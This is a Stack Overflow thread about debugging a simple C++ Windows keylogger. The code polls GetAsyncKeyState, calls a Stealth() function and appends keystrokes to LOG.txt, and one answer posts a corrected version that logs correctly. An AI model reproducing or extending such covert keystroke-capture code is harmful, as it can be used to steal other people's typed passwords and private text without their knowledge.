3

I've been a visitor of stackoverflow for quite some time and this is my first question on this site :) I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file. Here is my main function:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

Save function:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
ardatosun
  • 457
  • 4
  • 22
  • 1
    The thought of your program's intentions scare me a bit.... Having said that, really interesting topic. +1 – Evan Bechtol Apr 10 '15 at 21:31
  • `fprintf(OUTPUT_FILE, "%s", &key);` looks all sorts of wrong since key is an int. You probably want `%c` and no `&`. – Retired Ninja Apr 10 '15 at 21:32
  • 1
    Looks like you stole the code from this question? http://stackoverflow.com/questions/29200195/c-keylogger-wont-save-to-log-txt – Ben Voigt Apr 10 '15 at 21:33
  • @BenVoigt no, i did not. i saw that question though. – ardatosun Apr 10 '15 at 21:35
  • I think there might be a tutorial online somewhere for a keylogger like this. Here is another question with similar code: http://stackoverflow.com/questions/15392731/c-simple-keylogger?rq=1 – Shade Apr 10 '15 at 21:40
  • Your code is correct. Check "determining special conditions" part of your Save function - most likely something is happening there. – Isso Apr 11 '15 at 04:49
  • @Isso You made me check the values of `VK_NUMPAD0...9` because that is the only place I use those numbers in the code and suprisingly their hex value corresponds to the decimal value of `noncapital a-h`. I never thought this could be the problem, thank you!! – ardatosun Apr 11 '15 at 09:11
  • For real? He's trying to write a keylogger and you guys help him? – McLovin Apr 13 '15 at 07:28
  • @Pilpel well, I'm not going to use this for bad things. In fact, I'm getting to know more of windows api functions as I keep developing this – ardatosun Apr 13 '15 at 15:44

2 Answers2

2

I see one thing wrong wrong so far, and a couple things I would do differently. First, I don't think I would make it open and close the file every time it writes a single character.

Second (the wrong wrong), is you call fprintf specifying a string %s and giving it a integer pointer &key. An easy fix should be fprintf(OUTPUT_FILE, "%c", (char)key), although much more elegant solutions exist for putting a single character ie putc.

Shade
  • 775
  • 3
  • 16
  • i tried but it did not do the trick. it is just weird that only problem is from a to h – ardatosun Apr 10 '15 at 21:55
  • You don't need to cast `key` to `char`, because `%c` actually expects an integer value, it just interprets it as a character. In fact a char argument in a variadic function will be promoted to `int`. – rodrigo Apr 11 '15 at 01:03
  • @rodrigo In either case, a pointer to an integer is not a character, nor in this case a valid string. – Shade Apr 14 '15 at 14:11
0

IMHO, you have one major problem in this code : you use i as a loop index, and change its value in the loop.

The other problem is that your Save function is plain wrong.

On my own box, the following code displays correctly the pressed keys, and logs them to file LOG.txt :

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}

int main()
{
//Stealth();
//Focus();
char i;

// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            //i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
// system("pause"); never used ...
return 0;
}

Of course, I have to press Ctrl-C or Ctrl-Break to stop the program, and non alphanumeric keys show weird symbols ...

But when I enter ABCDEFGH012345678 and then Ctrl-C (not using keypad for numbers), I get as expected in LOG.txt :

A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)

Last character represented is the Ctrl that is here a dot . but in reality is a square ...

Serge Ballesta
  • 143,923
  • 11
  • 122
  • 252
  • That way the program prints capital letters for me even if capslock is off but thanks for the file opening idea thats much better than what I did – ardatosun Apr 10 '15 at 23:21